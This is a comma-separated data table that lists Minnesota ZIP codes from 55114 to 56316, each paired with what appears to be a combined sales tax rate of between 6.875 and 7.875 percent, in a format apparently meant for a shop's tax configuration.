US-MN-55114,US,MN,55114,7.625,,,, US-MN-55115,US,MN,55115,7.125,,,, US-MN-55116,US,MN,55116,7.625,,,, US-MN-55117,US,MN,55117,7.625,,,, US-MN-55118,US,MN,55118,7.125,,,, US-MN-55119,US,MN,55119,7.625,,,, US-MN-55120,US,MN,55120,7.125,,,, US-MN-55121,US,MN,55121,7.125,,,, US-MN-55122,US,MN,55122,7.125,,,, US-MN-55123,US,MN,55123,7.125,,,, US-MN-55124,US,MN,55124,7.125,,,, US-MN-55125,US,MN,55125,7.125,,,, US-MN-55126,US,MN,55126,7.125,,,, US-MN-55127,US,MN,55127,7.125,,,, US-MN-55128,US,MN,55128,7.125,,,, US-MN-55129,US,MN,55129,7.125,,,, US-MN-55130,US,MN,55130,7.625,,,, US-MN-55133,US,MN,55133,7.125,,,, US-MN-55144,US,MN,55144,7.125,,,, US-MN-55145,US,MN,55145,7.625,,,, US-MN-55146,US,MN,55146,7.625,,,, US-MN-55150,US,MN,55150,7.125,,,, US-MN-55155,US,MN,55155,7.625,,,, US-MN-55164,US,MN,55164,7.125,,,, US-MN-55165,US,MN,55165,7.625,,,, US-MN-55166,US,MN,55166,7.125,,,, US-MN-55168,US,MN,55168,7.625,,,, US-MN-55170,US,MN,55170,7.125,,,, US-MN-55171,US,MN,55171,7.125,,,, US-MN-55172,US,MN,55172,7.125,,,, US-MN-55175,US,MN,55175,7.625,,,, US-MN-55187,US,MN,55187,7.125,,,, US-MN-55188,US,MN,55188,6.875,,,, US-MN-55301,US,MN,55301,6.875,,,, US-MN-55302,US,MN,55302,6.875,,,, US-MN-55303,US,MN,55303,7.125,,,, US-MN-55304,US,MN,55304,7.125,,,, US-MN-55305,US,MN,55305,7.275,,,, US-MN-55306,US,MN,55306,7.125,,,, US-MN-55307,US,MN,55307,6.875,,,, US-MN-55308,US,MN,55308,6.875,,,, US-MN-55309,US,MN,55309,6.875,,,, US-MN-55310,US,MN,55310,6.875,,,, US-MN-55311,US,MN,55311,7.275,,,, US-MN-55312,US,MN,55312,6.875,,,, US-MN-55313,US,MN,55313,6.875,,,, US-MN-55314,US,MN,55314,6.875,,,, US-MN-55315,US,MN,55315,6.875,,,, US-MN-55316,US,MN,55316,7.275,,,, US-MN-55317,US,MN,55317,6.875,,,, US-MN-55318,US,MN,55318,6.875,,,, US-MN-55319,US,MN,55319,6.875,,,, US-MN-55320,US,MN,55320,6.875,,,, US-MN-55321,US,MN,55321,6.875,,,, US-MN-55322,US,MN,55322,6.875,,,, US-MN-55323,US,MN,55323,6.875,,,, US-MN-55324,US,MN,55324,6.875,,,, US-MN-55325,US,MN,55325,6.875,,,, US-MN-55327,US,MN,55327,7.275,,,, US-MN-55328,US,MN,55328,6.875,,,, US-MN-55329,US,MN,55329,6.875,,,, US-MN-55330,US,MN,55330,6.875,,,, US-MN-55331,US,MN,55331,7.275,,,, US-MN-55332,US,MN,55332,6.875,,,, US-MN-55333,US,MN,55333,6.875,,,, US-MN-55334,US,MN,55334,6.875,,,, US-MN-55335,US,MN,55335,6.875,,,, US-MN-55336,US,MN,55336,6.875,,,, US-MN-55337,US,MN,55337,7.125,,,, US-MN-55338,US,MN,55338,6.875,,,, US-MN-55339,US,MN,55339,6.875,,,, US-MN-55340,US,MN,55340,7.275,,,, US-MN-55341,US,MN,55341,6.875,,,, US-MN-55342,US,MN,55342,6.875,,,, US-MN-55343,US,MN,55343,7.275,,,, US-MN-55344,US,MN,55344,7.275,,,, US-MN-55345,US,MN,55345,7.275,,,, US-MN-55346,US,MN,55346,7.275,,,, US-MN-55347,US,MN,55347,7.275,,,, US-MN-55348,US,MN,55348,7.275,,,, US-MN-55349,US,MN,55349,6.875,,,, US-MN-55350,US,MN,55350,7.375,,,, US-MN-55352,US,MN,55352,6.875,,,, US-MN-55353,US,MN,55353,6.875,,,, US-MN-55354,US,MN,55354,6.875,,,, US-MN-55355,US,MN,55355,6.875,,,, US-MN-55356,US,MN,55356,7.275,,,, US-MN-55357,US,MN,55357,7.275,,,, US-MN-55358,US,MN,55358,6.875,,,, US-MN-55359,US,MN,55359,7.275,,,, US-MN-55360,US,MN,55360,6.875,,,, US-MN-55361,US,MN,55361,7.275,,,, US-MN-55362,US,MN,55362,6.875,,,, US-MN-55363,US,MN,55363,6.875,,,, US-MN-55364,US,MN,55364,7.275,,,, US-MN-55365,US,MN,55365,6.875,,,, US-MN-55366,US,MN,55366,6.875,,,, US-MN-55367,US,MN,55367,6.875,,,, US-MN-55368,US,MN,55368,6.875,,,, US-MN-55369,US,MN,55369,7.275,,,, US-MN-55370,US,MN,55370,6.875,,,, US-MN-55371,US,MN,55371,6.875,,,, US-MN-55372,US,MN,55372,6.875,,,, US-MN-55373,US,MN,55373,6.875,,,, US-MN-55374,US,MN,55374,7.275,,,, US-MN-55375,US,MN,55375,7.275,,,, US-MN-55376,US,MN,55376,6.875,,,, US-MN-55377,US,MN,55377,6.875,,,, US-MN-55378,US,MN,55378,6.875,,,, US-MN-55379,US,MN,55379,6.875,,,, US-MN-55380,US,MN,55380,6.875,,,, US-MN-55381,US,MN,55381,6.875,,,, US-MN-55382,US,MN,55382,6.875,,,, US-MN-55383,US,MN,55383,6.875,,,, US-MN-55384,US,MN,55384,7.275,,,, US-MN-55385,US,MN,55385,6.875,,,, US-MN-55386,US,MN,55386,6.875,,,, US-MN-55387,US,MN,55387,6.875,,,, US-MN-55388,US,MN,55388,6.875,,,, US-MN-55389,US,MN,55389,6.875,,,, US-MN-55390,US,MN,55390,6.875,,,, US-MN-55391,US,MN,55391,7.275,,,, US-MN-55392,US,MN,55392,7.275,,,, US-MN-55393,US,MN,55393,7.275,,,, US-MN-55394,US,MN,55394,6.875,,,, US-MN-55395,US,MN,55395,6.875,,,, US-MN-55396,US,MN,55396,6.875,,,, US-MN-55397,US,MN,55397,6.875,,,, US-MN-55398,US,MN,55398,6.875,,,, US-MN-55399,US,MN,55399,6.875,,,, US-MN-55401,US,MN,55401,7.775,,,, US-MN-55402,US,MN,55402,7.775,,,, US-MN-55403,US,MN,55403,7.775,,,, US-MN-55404,US,MN,55404,7.775,,,, US-MN-55405,US,MN,55405,7.775,,,, US-MN-55406,US,MN,55406,7.775,,,, US-MN-55407,US,MN,55407,7.775,,,, US-MN-55408,US,MN,55408,7.775,,,, US-MN-55409,US,MN,55409,7.775,,,, US-MN-55410,US,MN,55410,7.775,,,, US-MN-55411,US,MN,55411,7.775,,,, US-MN-55412,US,MN,55412,7.775,,,, US-MN-55413,US,MN,55413,7.775,,,, US-MN-55414,US,MN,55414,7.775,,,, US-MN-55415,US,MN,55415,7.775,,,, US-MN-55416,US,MN,55416,7.275,,,, US-MN-55417,US,MN,55417,7.775,,,, US-MN-55418,US,MN,55418,7.775,,,, US-MN-55419,US,MN,55419,7.775,,,, US-MN-55420,US,MN,55420,7.275,,,, US-MN-55421,US,MN,55421,7.125,,,, US-MN-55422,US,MN,55422,7.275,,,, US-MN-55423,US,MN,55423,7.275,,,, US-MN-55424,US,MN,55424,7.275,,,, US-MN-55425,US,MN,55425,7.275,,,, US-MN-55426,US,MN,55426,7.275,,,, US-MN-55427,US,MN,55427,7.275,,,, US-MN-55428,US,MN,55428,7.275,,,, US-MN-55429,US,MN,55429,7.275,,,, US-MN-55430,US,MN,55430,7.275,,,, US-MN-55431,US,MN,55431,7.275,,,, US-MN-55432,US,MN,55432,7.125,,,, US-MN-55433,US,MN,55433,7.125,,,, US-MN-55434,US,MN,55434,7.125,,,, US-MN-55435,US,MN,55435,7.275,,,, US-MN-55436,US,MN,55436,7.275,,,, US-MN-55437,US,MN,55437,7.275,,,, US-MN-55438,US,MN,55438,7.275,,,, US-MN-55439,US,MN,55439,7.275,,,, US-MN-55440,US,MN,55440,7.775,,,, US-MN-55441,US,MN,55441,7.275,,,, US-MN-55442,US,MN,55442,7.275,,,, US-MN-55443,US,MN,55443,7.275,,,, US-MN-55444,US,MN,55444,7.275,,,, US-MN-55445,US,MN,55445,7.275,,,, US-MN-55446,US,MN,55446,7.275,,,, US-MN-55447,US,MN,55447,7.275,,,, US-MN-55448,US,MN,55448,7.125,,,, US-MN-55449,US,MN,55449,7.125,,,, US-MN-55450,US,MN,55450,7.275,,,, US-MN-55454,US,MN,55454,7.775,,,, US-MN-55455,US,MN,55455,7.775,,,, US-MN-55458,US,MN,55458,7.775,,,, US-MN-55459,US,MN,55459,7.775,,,, US-MN-55460,US,MN,55460,7.775,,,, US-MN-55467,US,MN,55467,7.775,,,, US-MN-55470,US,MN,55470,7.775,,,, US-MN-55472,US,MN,55472,7.775,,,, US-MN-55473,US,MN,55473,7.775,,,, US-MN-55474,US,MN,55474,7.775,,,, US-MN-55478,US,MN,55478,7.775,,,, US-MN-55479,US,MN,55479,7.775,,,, US-MN-55480,US,MN,55480,7.775,,,, US-MN-55483,US,MN,55483,7.775,,,, US-MN-55484,US,MN,55484,7.775,,,, US-MN-55485,US,MN,55485,7.775,,,, US-MN-55486,US,MN,55486,7.775,,,, US-MN-55487,US,MN,55487,7.775,,,, US-MN-55488,US,MN,55488,7.775,,,, US-MN-55550,US,MN,55550,6.875,,,, US-MN-55551,US,MN,55551,6.875,,,, US-MN-55552,US,MN,55552,6.875,,,, US-MN-55553,US,MN,55553,6.875,,,, US-MN-55554,US,MN,55554,6.875,,,, US-MN-55556,US,MN,55556,6.875,,,, US-MN-55557,US,MN,55557,6.875,,,, US-MN-55558,US,MN,55558,6.875,,,, US-MN-55559,US,MN,55559,6.875,,,, US-MN-55560,US,MN,55560,6.875,,,, US-MN-55562,US,MN,55562,6.875,,,, US-MN-55564,US,MN,55564,6.875,,,, US-MN-55565,US,MN,55565,6.875,,,, US-MN-55566,US,MN,55566,6.875,,,, US-MN-55567,US,MN,55567,6.875,,,, US-MN-55568,US,MN,55568,6.875,,,, US-MN-55569,US,MN,55569,7.275,,,, US-MN-55570,US,MN,55570,7.275,,,, US-MN-55571,US,MN,55571,7.275,,,, US-MN-55572,US,MN,55572,6.875,,,, US-MN-55573,US,MN,55573,6.875,,,, US-MN-55574,US,MN,55574,7.275,,,, US-MN-55575,US,MN,55575,6.875,,,, US-MN-55576,US,MN,55576,7.275,,,, US-MN-55577,US,MN,55577,7.275,,,, US-MN-55578,US,MN,55578,7.275,,,, US-MN-55579,US,MN,55579,7.275,,,, US-MN-55580,US,MN,55580,6.875,,,, US-MN-55581,US,MN,55581,6.875,,,, US-MN-55582,US,MN,55582,6.875,,,, US-MN-55583,US,MN,55583,6.875,,,, US-MN-55584,US,MN,55584,6.875,,,, US-MN-55585,US,MN,55585,6.875,,,, US-MN-55586,US,MN,55586,6.875,,,, US-MN-55587,US,MN,55587,6.875,,,, US-MN-55588,US,MN,55588,6.875,,,, US-MN-55589,US,MN,55589,6.875,,,, US-MN-55590,US,MN,55590,6.875,,,, US-MN-55591,US,MN,55591,6.875,,,, US-MN-55592,US,MN,55592,7.275,,,, US-MN-55593,US,MN,55593,7.275,,,, US-MN-55594,US,MN,55594,6.875,,,, US-MN-55595,US,MN,55595,7.275,,,, US-MN-55596,US,MN,55596,7.275,,,, US-MN-55597,US,MN,55597,7.275,,,, US-MN-55598,US,MN,55598,7.275,,,, US-MN-55599,US,MN,55599,7.275,,,, US-MN-55601,US,MN,55601,6.875,,,, US-MN-55602,US,MN,55602,6.875,,,, US-MN-55603,US,MN,55603,6.875,,,, US-MN-55604,US,MN,55604,7.875,,,, US-MN-55605,US,MN,55605,7.875,,,, US-MN-55606,US,MN,55606,7.875,,,, US-MN-55607,US,MN,55607,6.875,,,, US-MN-55609,US,MN,55609,6.875,,,, US-MN-55612,US,MN,55612,7.875,,,, US-MN-55613,US,MN,55613,7.875,,,, US-MN-55614,US,MN,55614,6.875,,,, US-MN-55615,US,MN,55615,7.875,,,, US-MN-55616,US,MN,55616,7.375,,,, US-MN-55701,US,MN,55701,7.875,,,, US-MN-55702,US,MN,55702,6.875,,,, US-MN-55703,US,MN,55703,6.875,,,, US-MN-55704,US,MN,55704,6.875,,,, US-MN-55705,US,MN,55705,6.875,,,, US-MN-55706,US,MN,55706,6.875,,,, US-MN-55707,US,MN,55707,6.875,,,, US-MN-55708,US,MN,55708,6.875,,,, US-MN-55709,US,MN,55709,6.875,,,, US-MN-55710,US,MN,55710,6.875,,,, US-MN-55711,US,MN,55711,6.875,,,, US-MN-55712,US,MN,55712,6.875,,,, US-MN-55713,US,MN,55713,6.875,,,, US-MN-55716,US,MN,55716,6.875,,,, US-MN-55717,US,MN,55717,6.875,,,, US-MN-55718,US,MN,55718,6.875,,,, US-MN-55719,US,MN,55719,6.875,,,, US-MN-55720,US,MN,55720,7.375,,,, US-MN-55721,US,MN,55721,6.875,,,, US-MN-55722,US,MN,55722,6.875,,,, US-MN-55723,US,MN,55723,6.875,,,, US-MN-55724,US,MN,55724,6.875,,,, US-MN-55725,US,MN,55725,6.875,,,, US-MN-55726,US,MN,55726,6.875,,,, US-MN-55730,US,MN,55730,6.875,,,, US-MN-55731,US,MN,55731,6.875,,,, US-MN-55732,US,MN,55732,6.875,,,, US-MN-55733,US,MN,55733,6.875,,,, US-MN-55734,US,MN,55734,6.875,,,, US-MN-55735,US,MN,55735,6.875,,,, US-MN-55736,US,MN,55736,6.875,,,, US-MN-55738,US,MN,55738,6.875,,,, US-MN-55741,US,MN,55741,6.875,,,, US-MN-55742,US,MN,55742,6.875,,,, US-MN-55744,US,MN,55744,6.875,,,, US-MN-55745,US,MN,55745,6.875,,,, US-MN-55746,US,MN,55746,6.875,,,, US-MN-55747,US,MN,55747,6.875,,,, US-MN-55748,US,MN,55748,6.875,,,, US-MN-55749,US,MN,55749,6.875,,,, US-MN-55750,US,MN,55750,6.875,,,, US-MN-55751,US,MN,55751,6.875,,,, US-MN-55752,US,MN,55752,6.875,,,, US-MN-55753,US,MN,55753,6.875,,,, US-MN-55756,US,MN,55756,6.875,,,, US-MN-55757,US,MN,55757,6.875,,,, US-MN-55758,US,MN,55758,6.875,,,, US-MN-55760,US,MN,55760,6.875,,,, US-MN-55763,US,MN,55763,6.875,,,, US-MN-55764,US,MN,55764,6.875,,,, US-MN-55765,US,MN,55765,6.875,,,, US-MN-55766,US,MN,55766,6.875,,,, US-MN-55767,US,MN,55767,6.875,,,, US-MN-55768,US,MN,55768,6.875,,,, US-MN-55769,US,MN,55769,6.875,,,, US-MN-55771,US,MN,55771,6.875,,,, US-MN-55772,US,MN,55772,6.875,,,, US-MN-55775,US,MN,55775,6.875,,,, US-MN-55777,US,MN,55777,6.875,,,, US-MN-55779,US,MN,55779,6.875,,,, US-MN-55780,US,MN,55780,6.875,,,, US-MN-55781,US,MN,55781,6.875,,,, US-MN-55782,US,MN,55782,6.875,,,, US-MN-55783,US,MN,55783,6.875,,,, US-MN-55784,US,MN,55784,6.875,,,, US-MN-55785,US,MN,55785,6.875,,,, US-MN-55786,US,MN,55786,6.875,,,, US-MN-55787,US,MN,55787,6.875,,,, US-MN-55790,US,MN,55790,6.875,,,, US-MN-55791,US,MN,55791,6.875,,,, US-MN-55792,US,MN,55792,6.875,,,, US-MN-55793,US,MN,55793,6.875,,,, US-MN-55795,US,MN,55795,6.875,,,, US-MN-55796,US,MN,55796,6.875,,,, US-MN-55797,US,MN,55797,6.875,,,, US-MN-55798,US,MN,55798,6.875,,,, US-MN-55801,US,MN,55801,7.875,,,, US-MN-55802,US,MN,55802,7.875,,,, US-MN-55803,US,MN,55803,7.875,,,, US-MN-55804,US,MN,55804,7.875,,,, US-MN-55805,US,MN,55805,7.875,,,, US-MN-55806,US,MN,55806,7.875,,,, US-MN-55807,US,MN,55807,7.875,,,, US-MN-55808,US,MN,55808,7.875,,,, US-MN-55810,US,MN,55810,7.375,,,, US-MN-55811,US,MN,55811,7.875,,,, US-MN-55812,US,MN,55812,7.875,,,, US-MN-55814,US,MN,55814,7.875,,,, US-MN-55815,US,MN,55815,7.875,,,, US-MN-55816,US,MN,55816,7.875,,,, US-MN-55901,US,MN,55901,7.375,,,, US-MN-55902,US,MN,55902,7.375,,,, US-MN-55903,US,MN,55903,7.375,,,, US-MN-55904,US,MN,55904,7.375,,,, US-MN-55905,US,MN,55905,6.875,,,, US-MN-55906,US,MN,55906,7.375,,,, US-MN-55909,US,MN,55909,6.875,,,, US-MN-55910,US,MN,55910,6.875,,,, US-MN-55912,US,MN,55912,7.375,,,, US-MN-55917,US,MN,55917,6.875,,,, US-MN-55918,US,MN,55918,6.875,,,, US-MN-55919,US,MN,55919,6.875,,,, US-MN-55920,US,MN,55920,6.875,,,, US-MN-55921,US,MN,55921,6.875,,,, US-MN-55922,US,MN,55922,6.875,,,, US-MN-55923,US,MN,55923,6.875,,,, US-MN-55924,US,MN,55924,6.875,,,, US-MN-55925,US,MN,55925,6.875,,,, US-MN-55926,US,MN,55926,6.875,,,, US-MN-55927,US,MN,55927,6.875,,,, US-MN-55929,US,MN,55929,6.875,,,, US-MN-55931,US,MN,55931,6.875,,,, US-MN-55932,US,MN,55932,6.875,,,, US-MN-55933,US,MN,55933,6.875,,,, US-MN-55934,US,MN,55934,6.875,,,, US-MN-55935,US,MN,55935,6.875,,,, US-MN-55936,US,MN,55936,6.875,,,, US-MN-55939,US,MN,55939,6.875,,,, US-MN-55940,US,MN,55940,6.875,,,, US-MN-55941,US,MN,55941,6.875,,,, US-MN-55942,US,MN,55942,6.875,,,, US-MN-55943,US,MN,55943,6.875,,,, US-MN-55944,US,MN,55944,6.875,,,, US-MN-55945,US,MN,55945,6.875,,,, US-MN-55946,US,MN,55946,6.875,,,, US-MN-55947,US,MN,55947,6.875,,,, US-MN-55949,US,MN,55949,6.875,,,, US-MN-55950,US,MN,55950,6.875,,,, US-MN-55951,US,MN,55951,6.875,,,, US-MN-55952,US,MN,55952,6.875,,,, US-MN-55953,US,MN,55953,6.875,,,, US-MN-55954,US,MN,55954,6.875,,,, US-MN-55955,US,MN,55955,6.875,,,, US-MN-55956,US,MN,55956,6.875,,,, US-MN-55957,US,MN,55957,6.875,,,, US-MN-55959,US,MN,55959,6.875,,,, US-MN-55960,US,MN,55960,6.875,,,, US-MN-55961,US,MN,55961,6.875,,,, US-MN-55962,US,MN,55962,6.875,,,, US-MN-55963,US,MN,55963,6.875,,,, US-MN-55964,US,MN,55964,6.875,,,, US-MN-55965,US,MN,55965,6.875,,,, US-MN-55967,US,MN,55967,6.875,,,, US-MN-55968,US,MN,55968,6.875,,,, US-MN-55969,US,MN,55969,6.875,,,, US-MN-55970,US,MN,55970,6.875,,,, US-MN-55971,US,MN,55971,6.875,,,, US-MN-55972,US,MN,55972,6.875,,,, US-MN-55973,US,MN,55973,6.875,,,, US-MN-55974,US,MN,55974,6.875,,,, US-MN-55975,US,MN,55975,6.875,,,, US-MN-55976,US,MN,55976,6.875,,,, US-MN-55977,US,MN,55977,6.875,,,, US-MN-55979,US,MN,55979,6.875,,,, US-MN-55981,US,MN,55981,6.875,,,, US-MN-55982,US,MN,55982,6.875,,,, US-MN-55983,US,MN,55983,6.875,,,, US-MN-55985,US,MN,55985,6.875,,,, US-MN-55987,US,MN,55987,6.875,,,, US-MN-55988,US,MN,55988,6.875,,,, US-MN-55990,US,MN,55990,6.875,,,, US-MN-55991,US,MN,55991,6.875,,,, US-MN-55992,US,MN,55992,6.875,,,, US-MN-56001,US,MN,56001,7.375,,,, US-MN-56002,US,MN,56002,7.375,,,, US-MN-56003,US,MN,56003,7.375,,,, US-MN-56006,US,MN,56006,7.375,,,, US-MN-56007,US,MN,56007,7.375,,,, US-MN-56009,US,MN,56009,6.875,,,, US-MN-56010,US,MN,56010,6.875,,,, US-MN-56011,US,MN,56011,6.875,,,, US-MN-56013,US,MN,56013,6.875,,,, US-MN-56014,US,MN,56014,6.875,,,, US-MN-56016,US,MN,56016,6.875,,,, US-MN-56017,US,MN,56017,6.875,,,, US-MN-56019,US,MN,56019,6.875,,,, US-MN-56020,US,MN,56020,6.875,,,, US-MN-56021,US,MN,56021,6.875,,,, US-MN-56022,US,MN,56022,6.875,,,, US-MN-56023,US,MN,56023,6.875,,,, US-MN-56024,US,MN,56024,6.875,,,, US-MN-56025,US,MN,56025,6.875,,,, US-MN-56026,US,MN,56026,6.875,,,, US-MN-56027,US,MN,56027,6.875,,,, US-MN-56028,US,MN,56028,6.875,,,, US-MN-56029,US,MN,56029,6.875,,,, US-MN-56030,US,MN,56030,6.875,,,, US-MN-56031,US,MN,56031,6.875,,,, US-MN-56032,US,MN,56032,6.875,,,, US-MN-56033,US,MN,56033,6.875,,,, US-MN-56034,US,MN,56034,6.875,,,, US-MN-56035,US,MN,56035,6.875,,,, US-MN-56036,US,MN,56036,6.875,,,, US-MN-56037,US,MN,56037,6.875,,,, US-MN-56039,US,MN,56039,6.875,,,, US-MN-56041,US,MN,56041,6.875,,,, US-MN-56042,US,MN,56042,6.875,,,, US-MN-56043,US,MN,56043,6.875,,,, US-MN-56044,US,MN,56044,6.875,,,, US-MN-56045,US,MN,56045,6.875,,,, US-MN-56046,US,MN,56046,6.875,,,, US-MN-56047,US,MN,56047,6.875,,,, US-MN-56048,US,MN,56048,6.875,,,, US-MN-56050,US,MN,56050,6.875,,,, US-MN-56051,US,MN,56051,6.875,,,, US-MN-56052,US,MN,56052,6.875,,,, US-MN-56054,US,MN,56054,6.875,,,, US-MN-56055,US,MN,56055,6.875,,,, US-MN-56056,US,MN,56056,6.875,,,, US-MN-56057,US,MN,56057,6.875,,,, US-MN-56058,US,MN,56058,6.875,,,, US-MN-56060,US,MN,56060,6.875,,,, US-MN-56062,US,MN,56062,6.875,,,, US-MN-56063,US,MN,56063,6.875,,,, US-MN-56065,US,MN,56065,6.875,,,, US-MN-56068,US,MN,56068,6.875,,,, US-MN-56069,US,MN,56069,6.875,,,, US-MN-56071,US,MN,56071,6.875,,,, US-MN-56072,US,MN,56072,6.875,,,, US-MN-56073,US,MN,56073,7.375,,,, US-MN-56074,US,MN,56074,6.875,,,, US-MN-56075,US,MN,56075,6.875,,,, US-MN-56078,US,MN,56078,6.875,,,, US-MN-56080,US,MN,56080,6.875,,,, US-MN-56081,US,MN,56081,6.875,,,, US-MN-56082,US,MN,56082,6.875,,,, US-MN-56083,US,MN,56083,6.875,,,, US-MN-56084,US,MN,56084,7.375,,,, US-MN-56085,US,MN,56085,6.875,,,, US-MN-56087,US,MN,56087,6.875,,,, US-MN-56088,US,MN,56088,6.875,,,, US-MN-56089,US,MN,56089,6.875,,,, US-MN-56090,US,MN,56090,6.875,,,, US-MN-56091,US,MN,56091,6.875,,,, US-MN-56093,US,MN,56093,6.875,,,, US-MN-56096,US,MN,56096,6.875,,,, US-MN-56097,US,MN,56097,6.875,,,, US-MN-56098,US,MN,56098,6.875,,,, US-MN-56101,US,MN,56101,6.875,,,, US-MN-56110,US,MN,56110,6.875,,,, US-MN-56111,US,MN,56111,6.875,,,, US-MN-56113,US,MN,56113,6.875,,,, US-MN-56114,US,MN,56114,6.875,,,, US-MN-56115,US,MN,56115,6.875,,,, US-MN-56116,US,MN,56116,6.875,,,, US-MN-56117,US,MN,56117,6.875,,,, US-MN-56118,US,MN,56118,6.875,,,, US-MN-56119,US,MN,56119,6.875,,,, US-MN-56120,US,MN,56120,6.875,,,, US-MN-56121,US,MN,56121,6.875,,,, US-MN-56122,US,MN,56122,6.875,,,, US-MN-56123,US,MN,56123,6.875,,,, US-MN-56125,US,MN,56125,6.875,,,, US-MN-56127,US,MN,56127,6.875,,,, US-MN-56128,US,MN,56128,6.875,,,, US-MN-56129,US,MN,56129,6.875,,,, US-MN-56131,US,MN,56131,6.875,,,, US-MN-56132,US,MN,56132,6.875,,,, US-MN-56134,US,MN,56134,6.875,,,, US-MN-56136,US,MN,56136,6.875,,,, US-MN-56137,US,MN,56137,6.875,,,, US-MN-56138,US,MN,56138,6.875,,,, US-MN-56139,US,MN,56139,6.875,,,, US-MN-56140,US,MN,56140,6.875,,,, US-MN-56141,US,MN,56141,6.875,,,, US-MN-56142,US,MN,56142,6.875,,,, US-MN-56143,US,MN,56143,6.875,,,, US-MN-56144,US,MN,56144,6.875,,,, US-MN-56145,US,MN,56145,6.875,,,, US-MN-56146,US,MN,56146,6.875,,,, US-MN-56147,US,MN,56147,6.875,,,, US-MN-56149,US,MN,56149,6.875,,,, US-MN-56150,US,MN,56150,6.875,,,, US-MN-56151,US,MN,56151,6.875,,,, US-MN-56152,US,MN,56152,6.875,,,, US-MN-56153,US,MN,56153,6.875,,,, US-MN-56155,US,MN,56155,6.875,,,, US-MN-56156,US,MN,56156,6.875,,,, US-MN-56157,US,MN,56157,6.875,,,, US-MN-56158,US,MN,56158,6.875,,,, US-MN-56159,US,MN,56159,6.875,,,, US-MN-56160,US,MN,56160,6.875,,,, US-MN-56161,US,MN,56161,6.875,,,, US-MN-56162,US,MN,56162,6.875,,,, US-MN-56164,US,MN,56164,6.875,,,, US-MN-56165,US,MN,56165,6.875,,,, US-MN-56166,US,MN,56166,6.875,,,, US-MN-56167,US,MN,56167,6.875,,,, US-MN-56168,US,MN,56168,6.875,,,, US-MN-56169,US,MN,56169,6.875,,,, US-MN-56170,US,MN,56170,6.875,,,, US-MN-56171,US,MN,56171,6.875,,,, US-MN-56172,US,MN,56172,6.875,,,, US-MN-56173,US,MN,56173,6.875,,,, US-MN-56174,US,MN,56174,6.875,,,, US-MN-56175,US,MN,56175,6.875,,,, US-MN-56176,US,MN,56176,6.875,,,, US-MN-56177,US,MN,56177,6.875,,,, US-MN-56178,US,MN,56178,6.875,,,, US-MN-56180,US,MN,56180,6.875,,,, US-MN-56181,US,MN,56181,6.875,,,, US-MN-56183,US,MN,56183,6.875,,,, US-MN-56185,US,MN,56185,6.875,,,, US-MN-56186,US,MN,56186,6.875,,,, US-MN-56187,US,MN,56187,7.375,,,, US-MN-56201,US,MN,56201,6.875,,,, US-MN-56207,US,MN,56207,6.875,,,, US-MN-56208,US,MN,56208,6.875,,,, US-MN-56209,US,MN,56209,6.875,,,, US-MN-56210,US,MN,56210,6.875,,,, US-MN-56211,US,MN,56211,6.875,,,, US-MN-56212,US,MN,56212,6.875,,,, US-MN-56214,US,MN,56214,6.875,,,, US-MN-56215,US,MN,56215,6.875,,,, US-MN-56216,US,MN,56216,6.875,,,, US-MN-56218,US,MN,56218,6.875,,,, US-MN-56219,US,MN,56219,6.875,,,, US-MN-56220,US,MN,56220,6.875,,,, US-MN-56221,US,MN,56221,6.875,,,, US-MN-56222,US,MN,56222,6.875,,,, US-MN-56223,US,MN,56223,6.875,,,, US-MN-56224,US,MN,56224,6.875,,,, US-MN-56225,US,MN,56225,6.875,,,, US-MN-56226,US,MN,56226,6.875,,,, US-MN-56227,US,MN,56227,6.875,,,, US-MN-56228,US,MN,56228,6.875,,,, US-MN-56229,US,MN,56229,6.875,,,, US-MN-56230,US,MN,56230,6.875,,,, US-MN-56231,US,MN,56231,6.875,,,, US-MN-56232,US,MN,56232,6.875,,,, US-MN-56235,US,MN,56235,6.875,,,, US-MN-56236,US,MN,56236,6.875,,,, US-MN-56237,US,MN,56237,6.875,,,, US-MN-56239,US,MN,56239,6.875,,,, US-MN-56240,US,MN,56240,6.875,,,, US-MN-56241,US,MN,56241,6.875,,,, US-MN-56243,US,MN,56243,6.875,,,, US-MN-56244,US,MN,56244,6.875,,,, US-MN-56245,US,MN,56245,6.875,,,, US-MN-56248,US,MN,56248,6.875,,,, US-MN-56249,US,MN,56249,6.875,,,, US-MN-56251,US,MN,56251,6.875,,,, US-MN-56252,US,MN,56252,6.875,,,, US-MN-56253,US,MN,56253,6.875,,,, US-MN-56255,US,MN,56255,6.875,,,, US-MN-56256,US,MN,56256,6.875,,,, US-MN-56257,US,MN,56257,6.875,,,, US-MN-56258,US,MN,56258,7.375,,,, US-MN-56260,US,MN,56260,6.875,,,, US-MN-56262,US,MN,56262,6.875,,,, US-MN-56263,US,MN,56263,6.875,,,, US-MN-56264,US,MN,56264,6.875,,,, US-MN-56265,US,MN,56265,6.875,,,, US-MN-56266,US,MN,56266,6.875,,,, US-MN-56267,US,MN,56267,6.875,,,, US-MN-56270,US,MN,56270,6.875,,,, US-MN-56271,US,MN,56271,6.875,,,, US-MN-56273,US,MN,56273,6.875,,,, US-MN-56274,US,MN,56274,6.875,,,, US-MN-56276,US,MN,56276,6.875,,,, US-MN-56277,US,MN,56277,6.875,,,, US-MN-56278,US,MN,56278,6.875,,,, US-MN-56279,US,MN,56279,6.875,,,, US-MN-56280,US,MN,56280,6.875,,,, US-MN-56281,US,MN,56281,6.875,,,, US-MN-56282,US,MN,56282,6.875,,,, US-MN-56283,US,MN,56283,6.875,,,, US-MN-56284,US,MN,56284,6.875,,,, US-MN-56285,US,MN,56285,6.875,,,, US-MN-56287,US,MN,56287,6.875,,,, US-MN-56288,US,MN,56288,6.875,,,, US-MN-56289,US,MN,56289,6.875,,,, US-MN-56291,US,MN,56291,6.875,,,, US-MN-56292,US,MN,56292,6.875,,,, US-MN-56293,US,MN,56293,6.875,,,, US-MN-56294,US,MN,56294,6.875,,,, US-MN-56295,US,MN,56295,6.875,,,, US-MN-56296,US,MN,56296,6.875,,,, US-MN-56297,US,MN,56297,6.875,,,, US-MN-56301,US,MN,56301,7.375,,,, US-MN-56302,US,MN,56302,7.375,,,, US-MN-56303,US,MN,56303,7.375,,,, US-MN-56304,US,MN,56304,7.375,,,, US-MN-56307,US,MN,56307,6.875,,,, US-MN-56308,US,MN,56308,6.875,,,, US-MN-56309,US,MN,56309,6.875,,,, US-MN-56310,US,MN,56310,6.875,,,, US-MN-56311,US,MN,56311,6.875,,,, US-MN-56312,US,MN,56312,6.875,,,, US-MN-56313,US,MN,56313,6.875,,,, US-MN-56314,US,MN,56314,6.875,,,, US-MN-56315,US,MN,56315,6.875,,,, US-MN-56316,US,MN,56316,6.875,,,, 